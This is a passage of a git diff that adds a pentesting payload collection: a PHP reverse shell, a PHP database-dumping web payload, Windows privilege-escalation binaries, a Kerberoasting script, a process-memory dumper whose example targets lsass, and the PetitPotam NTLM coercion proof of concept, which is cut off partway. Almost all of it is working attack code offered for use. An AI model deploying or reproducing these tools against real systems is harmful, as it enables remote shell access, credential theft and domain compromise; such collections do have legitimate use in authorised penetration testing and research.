$debug = 0;
|
||||
|
||||
//
|
||||
// Daemonise ourself if possible to avoid zombies later
|
||||
//
|
||||
|
||||
// pcntl_fork is hardly ever available, but will allow us to daemonise
|
||||
// our php process and avoid zombies. Worth a try...
|
||||
if (function_exists('pcntl_fork')) {
|
||||
// Fork and have the parent process exit
|
||||
$pid = pcntl_fork();
|
||||
|
||||
if ($pid == -1) {
|
||||
printit("ERROR: Can't fork");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if ($pid) {
|
||||
exit(0); // Parent exits
|
||||
}
|
||||
|
||||
// Make the current process a session leader
|
||||
// Will only succeed if we forked
|
||||
if (posix_setsid() == -1) {
|
||||
printit("Error: Can't setsid()");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
$daemon = 1;
|
||||
} else {
|
||||
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
|
||||
}
|
||||
|
||||
// Change to a safe directory
|
||||
chdir("/");
|
||||
|
||||
// Remove any umask we inherited
|
||||
umask(0);
|
||||
|
||||
//
|
||||
// Do the reverse shell...
|
||||
//
|
||||
|
||||
// Open reverse connection
|
||||
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
|
||||
if (!$sock) {
|
||||
printit("$errstr ($errno)");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Spawn shell process
|
||||
$descriptorspec = array(
|
||||
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
|
||||
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
|
||||
2 => array("pipe", "w") // stderr is a pipe that the child will write to
|
||||
);
|
||||
|
||||
$process = proc_open($shell, $descriptorspec, $pipes);
|
||||
|
||||
if (!is_resource($process)) {
|
||||
printit("ERROR: Can't spawn shell");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Set everything to non-blocking
|
||||
// Reason: Occsionally reads will block, even though stream_select tells us they won't
|
||||
stream_set_blocking($pipes[0], 0);
|
||||
stream_set_blocking($pipes[1], 0);
|
||||
stream_set_blocking($pipes[2], 0);
|
||||
stream_set_blocking($sock, 0);
|
||||
|
||||
printit("Successfully opened reverse shell to $ip:$port");
|
||||
|
||||
while (1) {
|
||||
// Check for end of TCP connection
|
||||
if (feof($sock)) {
|
||||
printit("ERROR: Shell connection terminated");
|
||||
break;
|
||||
}
|
||||
|
||||
// Check for end of STDOUT
|
||||
if (feof($pipes[1])) {
|
||||
printit("ERROR: Shell process terminated");
|
||||
break;
|
||||
}
|
||||
|
||||
// Wait until a command is end down $sock, or some
|
||||
// command output is available on STDOUT or STDERR
|
||||
$read_a = array($sock, $pipes[1], $pipes[2]);
|
||||
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
|
||||
|
||||
// If we can read from the TCP socket, send
|
||||
// data to process's STDIN
|
||||
if (in_array($sock, $read_a)) {
|
||||
if ($debug) printit("SOCK READ");
|
||||
$input = fread($sock, $chunk_size);
|
||||
if ($debug) printit("SOCK: $input");
|
||||
fwrite($pipes[0], $input);
|
||||
}
|
||||
|
||||
// If we can read from the process's STDOUT
|
||||
// send data down tcp connection
|
||||
if (in_array($pipes[1], $read_a)) {
|
||||
if ($debug) printit("STDOUT READ");
|
||||
$input = fread($pipes[1], $chunk_size);
|
||||
if ($debug) printit("STDOUT: $input");
|
||||
fwrite($sock, $input);
|
||||
}
|
||||
|
||||
// If we can read from the process's STDERR
|
||||
// send data down tcp connection
|
||||
if (in_array($pipes[2], $read_a)) {
|
||||
if ($debug) printit("STDERR READ");
|
||||
$input = fread($pipes[2], $chunk_size);
|
||||
if ($debug) printit("STDERR: $input");
|
||||
fwrite($sock, $input);
|
||||
}
|
||||
}
|
||||
|
||||
fclose($sock);
|
||||
fclose($pipes[0]);
|
||||
fclose($pipes[1]);
|
||||
fclose($pipes[2]);
|
||||
proc_close($process);
|
||||
|
||||
// Like print, but does nothing if we've daemonised ourself
|
||||
// (I can't figure out how to redirect STDOUT like a proper daemon)
|
||||
function printit ($string) {
|
||||
if (!$daemon) {
|
||||
print "$string\n";
|
||||
}
|
||||
}
|
||||
|
||||
?>
|
||||
91
payloads/web/sql.php
Normal file
91
payloads/web/sql.php
Normal file
@@ -0,0 +1,91 @@
|
||||
<?php
|
||||
|
||||
error_reporting(E_ALL);
|
||||
if (function_exists("mysqli_connect")) {
|
||||
$db_driver = "mysqli";
|
||||
} else if (class_exists("PDO")) {
|
||||
$db_driver = "PDO";
|
||||
} else {
|
||||
die("Neither mysqli nor PDO could be found. Exiting.");
|
||||
}
|
||||
|
||||
if (php_sapi_name() === "cli") {
|
||||
$username = $argv[1];
|
||||
$password = $argv[2];
|
||||
$database = $argv[3] ?? null;
|
||||
$host = $argv[4] ?? "localhost";
|
||||
$query = $argv[5] ?? "SELECT @@version";
|
||||
$dump_all = $query === "mysqldump";
|
||||
} else {
|
||||
$username = $_REQUEST["username"];
|
||||
$password = $_REQUEST["password"];
|
||||
$database = (isset($_REQUEST["database"]) ? $_REQUEST["database"] : null);
|
||||
$host = (isset($_REQUEST["host"]) ? $_REQUEST["host"] : "localhost");
|
||||
$query = (isset($_REQUEST["query"]) ? $_REQUEST["query"] : "SELECT @@version");
|
||||
$dump_all = isset($_REQUEST["dumpAll"]);
|
||||
}
|
||||
|
||||
if ($db_driver === "mysqli") {
|
||||
$link = mysqli_connect($host, $username, $password, $database);
|
||||
if (!$link) {
|
||||
die("Error connecting to mysql: " . mysqli_connect_error() . " (" . mysqli_connect_errno() . ")");
|
||||
}
|
||||
} else if ($db_driver === "PDO") {
|
||||
$databaseStr = $database ? ";dbname=$database" : "";
|
||||
$link = new PDO("mysql:host=$host$databaseStr", $username, $password);
|
||||
$link->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
|
||||
}
|
||||
|
||||
if ($dump_all) {
|
||||
$tables = array();
|
||||
|
||||
if ($db_driver === "mysqli") {
|
||||
$res = mysqli_query($link, "SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA='$database'");
|
||||
while ($row = $res->fetch_assoc()) {
|
||||
$tables[] = $row["TABLE_NAME"];
|
||||
}
|
||||
} else if ($db_driver === "PDO") {
|
||||
$stmt = $link->query("SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA='$database'");
|
||||
while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
|
||||
$tables[] = $row["TABLE_NAME"];
|
||||
}
|
||||
}
|
||||
|
||||
foreach ($tables as $tableName) {
|
||||
echo "-- DATA FOR TABLE: tableName\n";
|
||||
if ($db_driver === "mysqli") {
|
||||
$res = mysqli_query($link, "SELECT * FROM $tableName");
|
||||
while ($row = $res->fetch_assoc()) {
|
||||
print_r($row);
|
||||
}
|
||||
} else if ($db_driver === "PDO") {
|
||||
$stmt = $link->query("SELECT * FROM $tableName");
|
||||
while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
|
||||
print_r($row);
|
||||
}
|
||||
}
|
||||
echo "-- --------------------------\n\n";
|
||||
}
|
||||
|
||||
} else {
|
||||
if ($db_driver === "mysqli") {
|
||||
$res = mysqli_query($link, $query);
|
||||
if (!$res) {
|
||||
die("Error executing query: " . mysqli_error($link));
|
||||
}
|
||||
|
||||
while ($row = $res->fetch_assoc()) {
|
||||
print_r($row);
|
||||
}
|
||||
} else if ($db_driver === "PDO") {
|
||||
$stmt = $link->query($query);
|
||||
while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
|
||||
print_r($row);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if ($db_driver === "mysqli") {
|
||||
mysqli_close($link);
|
||||
}
|
||||
?>
|
||||
BIN
payloads/windows/Certify.exe
Normal file
BIN
payloads/windows/Certify.exe
Normal file
Binary file not shown.
BIN
payloads/windows/FullPowers.exe
Normal file
BIN
payloads/windows/FullPowers.exe
Normal file
Binary file not shown.
129
payloads/windows/GetUserSPNs.ps1
Normal file
129
payloads/windows/GetUserSPNs.ps1
Normal file
@@ -0,0 +1,129 @@
|
||||
# Edits by Tim Medin
|
||||
# File: GetUserSPNS.ps1
|
||||
# Contents: Query the domain to find SPNs that use User accounts
|
||||
# Comments: This is for use with Kerberoast https://github.com/nidem/kerberoast
|
||||
# The password hash used with Computer accounts are infeasible to
|
||||
# crack; however, if the User account associated with an SPN may have
|
||||
# a crackable password. This tool will find those accounts. You do not
|
||||
# need any special local or domain permissions to run this script.
|
||||
# This script on a script supplied by Microsoft (details below).
|
||||
# History: 2016/07/07 Tim Medin Add -UniqueAccounts parameter to only get unique SAMAccountNames
|
||||
# 2016/04/12 Tim Medin Added -Request option to automatically get the tickets
|
||||
# 2014/11/12 Tim Medin Created
|
||||
|
||||
[CmdletBinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False,Position=1)] [string]$GCName,
|
||||
[Parameter(Mandatory=$False)] [string]$Filter,
|
||||
[Parameter(Mandatory=$False)] [switch]$Request,
|
||||
[Parameter(Mandatory=$False)] [switch]$UniqueAccounts
|
||||
)
|
||||
|
||||
Add-Type -AssemblyName System.IdentityModel
|
||||
|
||||
$GCs = @()
|
||||
|
||||
If ($GCName) {
|
||||
$GCs += $GCName
|
||||
} else { # find them
|
||||
$ForestInfo = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
|
||||
$CurrentGCs = $ForestInfo.FindAllGlobalCatalogs()
|
||||
ForEach ($GC in $CurrentGCs) {
|
||||
#$GCs += $GC.Name
|
||||
$GCs += $ForestInfo.ApplicationPartitions[0].SecurityReferenceDomain
|
||||
}
|
||||
}
|
||||
|
||||
if (-not $GCs) {
|
||||
# no Global Catalogs Found
|
||||
Write-Host "No Global Catalogs Found!"
|
||||
Exit
|
||||
}
|
||||
|
||||
<#
|
||||
Things you can extract
|
||||
Name Value
|
||||
---- -----
|
||||
admincount {1}
|
||||
samaccountname {sqlengine}
|
||||
useraccountcontrol {66048}
|
||||
primarygroupid {513}
|
||||
userprincipalname {sqlengine@medin.local}
|
||||
instancetype {4}
|
||||
displayname {sqlengine}
|
||||
pwdlastset {130410454241766739}
|
||||
memberof {CN=Domain Admins,CN=Users,DC=medin,DC=local}
|
||||
samaccounttype {805306368}
|
||||
serviceprincipalname {MSSQLSvc/sql01.medin.local:1433, MSSQLSvc/sql01.medin.local}
|
||||
usnchanged {135252}
|
||||
lastlogon {130563243107145358}
|
||||
accountexpires {9223372036854775807}
|
||||
logoncount {34}
|
||||
adspath {LDAP://CN=sqlengine,CN=Users,DC=medin,DC=local}
|
||||
distinguishedname {CN=sqlengine,CN=Users,DC=medin,DC=local}
|
||||
badpwdcount {0}
|
||||
codepage {0}
|
||||
name {sqlengine}
|
||||
whenchanged {9/22/2014 6:45:21 AM}
|
||||
badpasswordtime {0}
|
||||
dscorepropagationdata {4/4/2014 2:16:44 AM, 4/4/2014 12:58:27 AM, 4/4/2014 12:37:04 AM,...
|
||||
lastlogontimestamp {130558419213902030}
|
||||
lastlogoff {0}
|
||||
objectclass {top, person, organizationalPerson, user}
|
||||
countrycode {0}
|
||||
cn {sqlengine}
|
||||
whencreated {4/4/2014 12:37:04 AM}
|
||||
objectsid {1 5 0 0 0 0 0 5 21 0 0 0 191 250 179 30 180 59 104 26 248 205 17...
|
||||
objectguid {101 165 206 61 61 201 88 69 132 246 108 227 231 47 109 102}
|
||||
objectcategory {CN=Person,CN=Schema,CN=Configuration,DC=medin,DC=local}
|
||||
usncreated {57551}
|
||||
#>
|
||||
|
||||
ForEach ($GC in $GCs) {
|
||||
$searcher = New-Object System.DirectoryServices.DirectorySearcher
|
||||
$searcher.SearchRoot = "LDAP://" + $GC
|
||||
$searcher.PageSize = 1000
|
||||
$searcher.Filter = "(&(!objectClass=computer)(servicePrincipalName=*))"
|
||||
$searcher.PropertiesToLoad.Add("serviceprincipalname") | Out-Null
|
||||
$searcher.PropertiesToLoad.Add("name") | Out-Null
|
||||
$searcher.PropertiesToLoad.Add("samaccountname") | Out-Null
|
||||
#$searcher.PropertiesToLoad.Add("userprincipalname") | Out-Null
|
||||
#$searcher.PropertiesToLoad.Add("displayname") | Out-Null
|
||||
$searcher.PropertiesToLoad.Add("memberof") | Out-Null
|
||||
$searcher.PropertiesToLoad.Add("pwdlastset") | Out-Null
|
||||
#$searcher.PropertiesToLoad.Add("distinguishedname") | Out-Null
|
||||
|
||||
$searcher.SearchScope = "Subtree"
|
||||
|
||||
$results = $searcher.FindAll()
|
||||
|
||||
[System.Collections.ArrayList]$accounts = @()
|
||||
|
||||
foreach ($result in $results) {
|
||||
foreach ($spn in $result.Properties["serviceprincipalname"]) {
|
||||
$o = Select-Object -InputObject $result -Property `
|
||||
@{Name="ServicePrincipalName"; Expression={$spn.ToString()} }, `
|
||||
@{Name="Name"; Expression={$result.Properties["name"][0].ToString()} }, `
|
||||
#@{Name="UserPrincipalName"; Expression={$result.Properties["userprincipalname"][0].ToString()} }, `
|
||||
@{Name="SAMAccountName"; Expression={$result.Properties["samaccountname"][0].ToString()} }, `
|
||||
#@{Name="DisplayName"; Expression={$result.Properties["displayname"][0].ToString()} }, `
|
||||
@{Name="MemberOf"; Expression={$result.Properties["memberof"][0].ToString()} }, `
|
||||
@{Name="PasswordLastSet"; Expression={[datetime]::fromFileTime($result.Properties["pwdlastset"][0])} } #, `
|
||||
#@{Name="DistinguishedName"; Expression={$result.Properties["distinguishedname"][0].ToString()} }
|
||||
if ($UniqueAccounts) {
|
||||
if (-not $accounts.Contains($result.Properties["samaccountname"][0].ToString())) {
|
||||
$accounts.Add($result.Properties["samaccountname"][0].ToString()) | Out-Null
|
||||
$o
|
||||
if ($Request) {
|
||||
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString() | Out-Null
|
||||
}
|
||||
}
|
||||
} else {
|
||||
$o
|
||||
if ($Request) {
|
||||
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString() | Out-Null
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
BIN
payloads/windows/GodPotato.exe
Normal file
BIN
payloads/windows/GodPotato.exe
Normal file
Binary file not shown.
BIN
payloads/windows/JuicyPotato.exe
Normal file
BIN
payloads/windows/JuicyPotato.exe
Normal file
Binary file not shown.
BIN
payloads/windows/JuicyPotato64.exe
Normal file
BIN
payloads/windows/JuicyPotato64.exe
Normal file
Binary file not shown.
130
payloads/windows/Out-Minidump.ps1
Normal file
130
payloads/windows/Out-Minidump.ps1
Normal file
@@ -0,0 +1,130 @@
|
||||
function Out-Minidump
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Generates a full-memory minidump of a process.
|
||||
|
||||
PowerSploit Function: Out-Minidump
|
||||
Author: Matthew Graeber (@mattifestation)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Out-Minidump writes a process dump file with all process memory to disk.
|
||||
This is similar to running procdump.exe with the '-ma' switch.
|
||||
|
||||
.PARAMETER Process
|
||||
|
||||
Specifies the process for which a dump will be generated. The process object
|
||||
is obtained with Get-Process.
|
||||
|
||||
.PARAMETER DumpFilePath
|
||||
|
||||
Specifies the path where dump files will be written. By default, dump files
|
||||
are written to the current working directory. Dump file names take following
|
||||
form: processname_id.dmp
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Out-Minidump -Process (Get-Process -Id 4293)
|
||||
|
||||
Description
|
||||
-----------
|
||||
Generate a minidump for process ID 4293.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-Process lsass | Out-Minidump
|
||||
|
||||
Description
|
||||
-----------
|
||||
Generate a minidump for the lsass process. Note: To dump lsass, you must be
|
||||
running from an elevated prompt.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-Process | Out-Minidump -DumpFilePath C:\temp
|
||||
|
||||
Description
|
||||
-----------
|
||||
Generate a minidump of all running processes and save them to C:\temp.
|
||||
|
||||
.INPUTS
|
||||
|
||||
System.Diagnostics.Process
|
||||
|
||||
You can pipe a process object to Out-Minidump.
|
||||
|
||||
.OUTPUTS
|
||||
|
||||
System.IO.FileInfo
|
||||
|
||||
.LINK
|
||||
|
||||
http://www.exploit-monday.com/
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)]
|
||||
[System.Diagnostics.Process]
|
||||
$Process,
|
||||
|
||||
[Parameter(Position = 1)]
|
||||
[ValidateScript({ Test-Path $_ })]
|
||||
[String]
|
||||
$DumpFilePath = $PWD
|
||||
)
|
||||
|
||||
BEGIN
|
||||
{
|
||||
$WER = [PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting')
|
||||
$WERNativeMethods = $WER.GetNestedType('NativeMethods', 'NonPublic')
|
||||
$Flags = [Reflection.BindingFlags] 'NonPublic, Static'
|
||||
$MiniDumpWriteDump = $WERNativeMethods.GetMethod('MiniDumpWriteDump', $Flags)
|
||||
$MiniDumpWithFullMemory = [UInt32] 2
|
||||
}
|
||||
|
||||
PROCESS
|
||||
{
|
||||
$ProcessId = $Process.Id
|
||||
$ProcessName = $Process.Name
|
||||
$ProcessHandle = $Process.Handle
|
||||
$ProcessFileName = "$($ProcessName)_$($ProcessId).dmp"
|
||||
|
||||
$ProcessDumpPath = Join-Path $DumpFilePath $ProcessFileName
|
||||
|
||||
$FileStream = New-Object IO.FileStream($ProcessDumpPath, [IO.FileMode]::Create)
|
||||
|
||||
$Result = $MiniDumpWriteDump.Invoke($null, @($ProcessHandle,
|
||||
$ProcessId,
|
||||
$FileStream.SafeFileHandle,
|
||||
$MiniDumpWithFullMemory,
|
||||
[IntPtr]::Zero,
|
||||
[IntPtr]::Zero,
|
||||
[IntPtr]::Zero))
|
||||
|
||||
$FileStream.Close()
|
||||
|
||||
if (-not $Result)
|
||||
{
|
||||
$Exception = New-Object ComponentModel.Win32Exception
|
||||
$ExceptionMessage = "$($Exception.Message) ($($ProcessName):$($ProcessId))"
|
||||
|
||||
# Remove any partially written dump files. For example, a partial dump will be written
|
||||
# in the case when 32-bit PowerShell tries to dump a 64-bit process.
|
||||
Remove-Item $ProcessDumpPath -ErrorAction SilentlyContinue
|
||||
|
||||
throw $ExceptionMessage
|
||||
}
|
||||
else
|
||||
{
|
||||
Get-ChildItem $ProcessDumpPath
|
||||
}
|
||||
}
|
||||
|
||||
END {}
|
||||
}
|
||||
461
payloads/windows/PetitPotam.py
Normal file
461
payloads/windows/PetitPotam.py
Normal file
@@ -0,0 +1,461 @@
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# Author: GILLES Lionel aka topotam (@topotam77)
|
||||
#
|
||||
# Greetz : grenadine(@Greynardine), skar(@__skar), didakt(@inf0sec1), plissken, pixis(@HackAndDo) my friends!
|
||||
# "Most of" the code stolen from dementor.py from @3xocyte ;)
|
||||
|
||||
|
||||
import sys
|
||||
import argparse
|
||||
|
||||
from impacket import system_errors
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
|
||||
from impacket.dcerpc.v5.dtypes import UUID, ULONG, WSTR, DWORD, NULL, BOOL, UCHAR, PCHAR, RPC_SID, LPWSTR
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from impacket.uuid import uuidtup_to_bin
|
||||
|
||||
|
||||
show_banner = '''
|
||||
|
||||
___ _ _ _ ___ _
|
||||
| _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ _ __
|
||||
| _/ / -_) | _| | | | _| | _/ / _ \ | _| / _` | | ' \
|
||||
_|_|_ \___| _\__| _|_|_ _\__| _|_|_ \___/ _\__| \__,_| |_|_|_|
|
||||
_| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""|
|
||||
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
|
||||
|
||||
PoC to elicit machine account authentication via some MS-EFSRPC functions
|
||||
by topotam (@topotam77)
|
||||
|
||||
Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN
|
||||
|
||||
|
||||
'''
|
||||
|
||||
class DCERPCSessionError(DCERPCException):
|
||||
def __init__(self, error_string=None, error_code=None, packet=None):
|
||||
DCERPCException.__init__(self, error_string, error_code, packet)
|
||||
|
||||
def __str__( self ):
|
||||
key = self.error_code
|
||||
if key in system_errors.ERROR_MESSAGES:
|
||||
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
|
||||
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
|
||||
return 'EFSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
|
||||
else:
|
||||
return 'EFSR SessionError: unknown error code: 0x%x' % self.error_code
|
||||
|
||||
|
||||
################################################################################
|
||||
# STRUCTURES
|
||||
################################################################################
|
||||
class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (
|
||||
('Data', '20s'),
|
||||
)
|
||||
class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (
|
||||
('Data', '20s'),
|
||||
)
|
||||
class EFS_EXIM_PIPE(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (
|
||||
('Data', ':'),
|
||||
)
|
||||
class EFS_HASH_BLOB(NDRSTRUCT):
|
||||
|
||||
structure = (
|
||||
('Data', DWORD),
|
||||
('cbData', PCHAR),
|
||||
)
|
||||
class EFS_RPC_BLOB(NDRSTRUCT):
|
||||
|
||||
structure = (
|
||||
('Data', DWORD),
|
||||
('cbData', PCHAR),
|
||||
)
|
||||
|
||||
class EFS_CERTIFICATE_BLOB(NDRSTRUCT):
|
||||
structure = (
|
||||
('Type', DWORD),
|
||||
('Data', DWORD),
|
||||
('cbData', PCHAR),
|
||||
)
|
||||
class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
|
||||
structure = (
|
||||
('Lenght', DWORD),
|
||||
('SID', RPC_SID),
|
||||
('Hash', EFS_HASH_BLOB),
|
||||
('Display', LPWSTR),
|
||||
)
|
||||
class ENCRYPTION_CERTIFICATE(NDRSTRUCT):
|
||||
structure = (
|
||||
('Lenght', DWORD),
|
||||
('SID', RPC_SID),
|
||||
('Hash', EFS_CERTIFICATE_BLOB),
|
||||
|
||||
)
|
||||
class ENCRYPTION_CERTIFICATE_HASH_LIST(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (
|
||||
('Cert', DWORD),
|
||||
('Users', ENCRYPTION_CERTIFICATE_HASH),
|
||||
)
|
||||
class ENCRYPTED_FILE_METADATA_SIGNATURE(NDRSTRUCT):
|
||||
structure = (
|
||||
('Type', DWORD),
|
||||
('HASH', ENCRYPTION_CERTIFICATE_HASH_LIST),
|
||||
('Certif', ENCRYPTION_CERTIFICATE),
|
||||
('Blob', EFS_RPC_BLOB),
|
||||
)
|
||||
class EFS_RPC_BLOB(NDRSTRUCT):
|
||||
structure = (
|
||||
('Data', DWORD),
|
||||
('cbData', PCHAR),
|
||||
)
|
||||
class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (
|
||||
('Data', ':'),
|
||||
)
|
||||
|
||||
################################################################################
|
||||
# RPC CALLS
|
||||
################################################################################
|
||||
class EfsRpcOpenFileRaw(NDRCALL):
|
||||
opnum = 0
|
||||
structure = (
|
||||
('fileName', WSTR),
|
||||
('Flag', ULONG),
|
||||
)
|
||||
|
||||
class EfsRpcOpenFileRawResponse(NDRCALL):
|
||||
structure = (
|
||||
('hContext', EXIMPORT_CONTEXT_HANDLE),
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcEncryptFileSrv(NDRCALL):
|
||||
opnum = 4
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
)
|
||||
|
||||
class EfsRpcEncryptFileSrvResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcDecryptFileSrv(NDRCALL):
|
||||
opnum = 5
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
('Flag', ULONG),
|
||||
)
|
||||
|
||||
class EfsRpcDecryptFileSrvResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcQueryUsersOnFile(NDRCALL):
|
||||
opnum = 6
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
|
||||
)
|
||||
class EfsRpcQueryUsersOnFileResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcQueryRecoveryAgents(NDRCALL):
|
||||
opnum = 7
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
|
||||
)
|
||||
class EfsRpcQueryRecoveryAgentsResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcRemoveUsersFromFile(NDRCALL):
|
||||
opnum = 8
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
('Users', ENCRYPTION_CERTIFICATE_HASH_LIST)
|
||||
|
||||
)
|
||||
class EfsRpcRemoveUsersFromFileResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcAddUsersToFile(NDRCALL):
|
||||
opnum = 9
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
('EncryptionCertificates', ENCRYPTION_CERTIFICATE_LIST)
|
||||
|
||||
)
|
||||
class EfsRpcAddUsersToFileResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcFileKeyInfo(NDRCALL):
|
||||
opnum = 12
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
('infoClass', DWORD),
|
||||
)
|
||||
class EfsRpcFileKeyInfoResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcDuplicateEncryptionInfoFile(NDRCALL):
|
||||
opnum = 13
|
||||
structure = (
|
||||
('SrcFileName', WSTR),
|
||||
('DestFileName', WSTR),
|
||||
('dwCreationDisposition', DWORD),
|
||||
('dwAttributes', DWORD),
|
||||
('RelativeSD', EFS_RPC_BLOB),
|
||||
('bInheritHandle', BOOL),
|
||||
)
|
||||
|
||||
class EfsRpcDuplicateEncryptionInfoFileResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcAddUsersToFileEx(NDRCALL):
|
||||
opnum = 15
|
||||
structure = (
|
||||
('dwFlags', DWORD),
|
||||
('Reserved', EFS_RPC_BLOB),
|
||||
('FileName', WSTR),
|
||||
('dwAttributes', DWORD),
|
||||
('EncryptionCertificates', ENCRYPTION_CERTIFICATE_LIST),
|
||||
)
|
||||
|
||||
class EfsRpcAddUsersToFileExResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcFileKeyInfoEx(NDRCALL):
|
||||
opnum = 16
|
||||
structure = (
|
||||
('dwFileKeyInfoFlags', DWORD),
|
||||
('Reserved', EFS_RPC_BLOB),
|
||||
('FileName', WSTR),
|
||||
('InfoClass', DWORD),
|
||||
)
|
||||
class EfsRpcFileKeyInfoExResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcGetEncryptedFileMetadata(NDRCALL):
|
||||
opnum = 18
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
)
|
||||
class EfsRpcGetEncryptedFileMetadataResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcSetEncryptedFileMetadata(NDRCALL):
|
||||
opnum = 19
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
('OldEfsStreamBlob', EFS_RPC_BLOB),
|
||||
('NewEfsStreamBlob', EFS_RPC_BLOB),
|
||||
('NewEfsSignature', ENCRYPTED_FILE_METADATA_SIGNATURE),
|
||||
)
|
||||
class EfsRpcSetEncryptedFileMetadataResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcEncryptFileExSrv(NDRCALL):
|
||||
opnum = 21
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
('ProtectorDescriptor', WSTR),
|
||||
('Flags', ULONG),
|
||||
)
|
||||
class EfsRpcEncryptFileExSrvResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
#class EfsRpcQueryProtectors(NDRCALL):
|
||||
# opnum = 21
|
||||
# structure = (
|
||||
# ('FileName', WSTR),
|
||||
# ('ppProtectorList', PENCRYPTION_PROTECTOR_LIST),
|
||||
# )
|
||||
#class EfsRpcQueryProtectorsResponse(NDRCALL):
|
||||
# structure = (
|
||||
# ('ErrorCode', ULONG),
|
||||
# )
|
||||
|
||||
################################################################################
|
||||
# OPNUMs and their corresponding structures
|
||||
################################################################################
|
||||
OPNUMS = {
|
||||
0 : (EfsRpcOpenFileRaw, EfsRpcOpenFileRawResponse),
|
||||
4 : (EfsRpcEncryptFileSrv, EfsRpcEncryptFileSrvResponse),
|
||||
5 : (EfsRpcDecryptFileSrv, EfsRpcDecryptFileSrvResponse),
|
||||
6 : (EfsRpcQueryUsersOnFile, EfsRpcQueryUsersOnFileResponse),
|
||||
